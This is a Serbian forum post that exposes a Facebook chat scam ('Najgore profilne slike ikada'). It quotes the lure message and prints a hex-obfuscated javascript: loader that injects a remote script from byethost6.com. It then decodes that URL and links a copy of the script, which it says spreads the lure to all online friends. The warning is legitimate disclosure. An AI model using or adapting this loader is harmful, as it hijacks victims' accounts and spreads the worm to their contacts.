Član
- Učlanjen(a)
- 03.02.2010
- Poruka
- 98
Zaustavio sam još jednu veliku FB prevaru.
Reč je o stranici koja se ovih dana verovatno sve češće pojavlivala na vašem chatu. To je stranica pod nazivom "Najgore profilne slike ikada, pogledaj".
Dobio sam sledeću poruku na chatu:
Zatim kad sam ušao na tab "Pogledajte!" začudilo me je što je ukesto linka tu stavljena sledeća javascripta:
Zatim sam video da ta skripta na stranicu učitava novu javaskriptu čiji je url(hexovan):
Odnosno:
A kada ga dekriptujemo dobijemo:
Naravno ja sam to prijavio hosting kompaniji i više ne možete videti tu skriptu na toj adresi, ali sam zato napravio kopiju te skripte na mom sajtu:
Pročitao sam skriptu i malo bolje je proučio i mogu vam reći da je sjajno urađena. Ona svim vašim online prijateljima šalje istu tu poruku koju sam ja već naveo(samo sa imenom prijatelja, a ne "nemanja").
Reč je o stranici koja se ovih dana verovatno sve češće pojavlivala na vašem chatu. To je stranica pod nazivom "Najgore profilne slike ikada, pogledaj".
Dobio sam sledeću poruku na chatu:
Kod:
nemanja Tvoja slika se nalazi medju najgorim slikama profila, pogledaj :S http://www.facebook.com/pages/Najgore-profilne-slike-ikada-pogledaj/163290907066128?sk=app_494975287863157
Kod:
javascript:(a=(b=document).createElement('script')).src='\x2F\x2F\x64\x61\x72\x5F\x6B\x31\x2E\x62\x79\x65\x74\x68\x6F\x73\x74\x36\x2E\x63\x6F\x6D\x2F\x73\x6C\x69\x6B\x61\x31\x37\x2E\x6A\x73',b.body.appendChild(a);void(0)
Kod:
\x2F\x2F\x64\x61\x72\x5F\x6B\x31\x2E\x62\x79\x65\x74\x68\x6F\x73\x74\x36\x2E\x63\x6F\x6D\x2F\x73\x6C\x69\x6B\x61\x31\x37\x2E\x6A\x73
Kod:
2F2F6461725F6B312E62796574686F7374362E636F6D2F736C696B6131372E6A73
Kod:
http://dar_k1.byethost6.com/slika17.js
Kod:
http://nemanjan00.zxq.net/upload/slika17.js